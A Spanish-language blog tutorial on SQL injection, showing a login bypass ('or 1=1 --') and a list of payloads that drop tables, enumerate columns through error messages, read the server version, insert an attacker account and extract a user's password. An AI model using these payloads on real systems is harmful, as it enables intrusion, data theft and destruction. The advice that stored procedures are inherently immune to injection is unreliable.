Buscar en el blog

SQL Injection

SQL Injection se le conoce como un ataque contra un gestor de bases de datos relacionales el cuál aprovecha la vulnerabilidad de una aplicación hecha en cualquier lenguaje. Sin embargo existen varias soluciones para este problema, las cuáles las voy a nombrar mas adelante.

Normalmente donde se aplica este problema es en la autentificación de las aplicaciones, en donde nos encontramos con una caja de texto donde ingresamos el usuario y otra caja de texto donde va el password. Veamos un ejemplo sencillo:

Cuando uno se logea a una aplicación la consulta por lo regular sería:

Select * From Usuarios Where id = 'parametro' And pwd = 'parametro'

Nota: El nombre de la tabla y de las columnas es un ejemplo, estas pueden variar dependiendo de su base de datos.

Podemos decir que hasta donde vamos ¿esta todo bien no? Pero ¿que pasaría si ponemos lo siguiente en la caja de texto de userName o Usuario?

'or 1 = 1 --

Vamos a poder acceder a la aplicación sin ningún problema, ¿Por qué?, aquí te lo explico:

La consulta original se encuentra aquí:

Select * From Usuarios Where id = 'parametro' And pwd = 'parametro'

Ahora vean como quedaría si le pusieran esa línea de código en el userNamer o usuario:

Select * From Usuarios Where id = '' or 1 = 1 --' And pwd = 'parametro'

¿Ya vieron la diferencia? Lo que hace la primera apostrofe es cerrar el valor depositado en la columna id en donde su valor es igual a nada y enseguida pone una condición la cual va a ser verdadera y al último lo que se pone son 2 guiones, esto es para que apartir de ahí se comente lo que resta de la consulta. Entonces ven como es algo tan sencillo el accesar a la aplicación?

Esto es una de las cosas mas sencillas que se pueden hacer, pero que pasaria si en vez de poner una condición para que nos deje entrar a la aplicación ponemos un drop table(con esto eliminamos una tabla de la base de datos), estariamos en un grave problema ya que por lo regular no acostumbramos a hacer respaldos de nuestras bases de datos y aplicaciones.

Soluciones

Existen varias soluciones para prevenir este tipo de ataques, a continuación las menciono:


  • Mediante el control de validación de .Net que es el RegularExpressionValidator, el cuál nos va a validar que se ingresen solamente letras y numeros
  • No utilizar usuarios con permisos de administrador al momento que se realiza la conexión a la base de datos, ya que esto permitiria hacer uso del Drop Table lo cuál sería fatal.
  • Utilizar stored procedures ya que estos están protegidos contra los ataques del Sql Injection.

Desde mi punto de vista y opinión, la mejor solución sería utilizar los stored procedure ya que son más rapidos y no se tiene que hacer absolutamente nada para protegerse del SQL Injection ya que estos están protegidos a estos ataques.

A continuación te pongo algunos ejemplos de lo que pueden hacer los ataques de Sql Injection

  • '; drop table Usuarios –- ß Con esto se eliminaria la tabla de usuarios, cosa que sería fatal que sucediera.
  • ' having 1=1-- ß Manda el siguiente mensaje de error:
    Column 'Usuarios.Id' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause. ßCon esto se obtiene el nombre de la Tabla y la primera columna del Query que se está ejecutando.
  • ' group by Usuarios.Id having 1=1-- ß Manda el siguiente mensaje de error:
    Column 'Usuarios.Usuario' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause. ß Se Obtiene la segunda columna del Query al igual que el nombre de la tabla.
  • ' union select sum(Usuario) from Usuarios-- ß Manda el siguiente mensaje de error:
    Operand data type char is invalid for sum operator. ß Se obtiene el tipo de dato de la columna a la cuál se quiere realizar la sumatoria. Nota: El union como todos los saben se tiene que realizar con el mismo numero de columnas que se esten llamando en el Query, en este ejemplo solamente se manda a llamar a la columna Usuario en el Query.
  • '; insert into Usuarios values('attacker', 'attacker','attacker', '1', 'Nothing', '666', '20041110' )-- ß Inserta un nuevo registro de la tabla seleccionada. Nota: Quien esté realizando el ataque tiene que ejecutar varias veces el punto 2 y 3 para obtener todas las columnas y su tipo de la tabla para poder insertar el nuevo registro.
  • ' union select @@version,'1','1','1','1','1','1','1'-- ß Manda el siguiente error:
    Conversion failed when converting the nvarchar value 'Microsoft SQL Server 2005 - 9.00.1406.00 (Intel X86) Mar 3 2007 18:40:02 Copyright (c) 1988-2005 Microsoft Corporation Standard Edition on Windows NT 5.1 (Build 2600: Service Pack 2) ' to data type int. ß Se obtiene la versión de la base de datos.
  • ' union select min(Usuario),'1','1','1','1','1','1','1' from Usuarios where Usuario > 'a'-- ß Manda el siguiente error:
    Conversion failed when converting the varchar value 'inquil ' to data type int. ß Con esto lo que obtiene es el nombre de un Usuario que empiece o que la condición 'a' sea la más cercana a los nombres de los usuarios de la tabla, que en este caso puso dio como resultado el usuario “inquil”.
    ' union select Contraseña,1,1,1,1,1,1,1 from Usuarios where Usuario = 'inquil'-- ß Manda el siguiente error:
    Conversion failed when converting the nvarchar value 'inq1448 ' to data type int. ß Con esto se obtiene el password del usuario en el cuál se metió en la condición.

Estos son algunos de los ejemplos de lo que pueden hacer los ataques de Sql Injection, esta bastante interesante este tema , por lo tanto los invito a protegerse en de estos ataques manejando las soluciones que les mencione anteriormente.

0 comentarios:

Publicar un comentario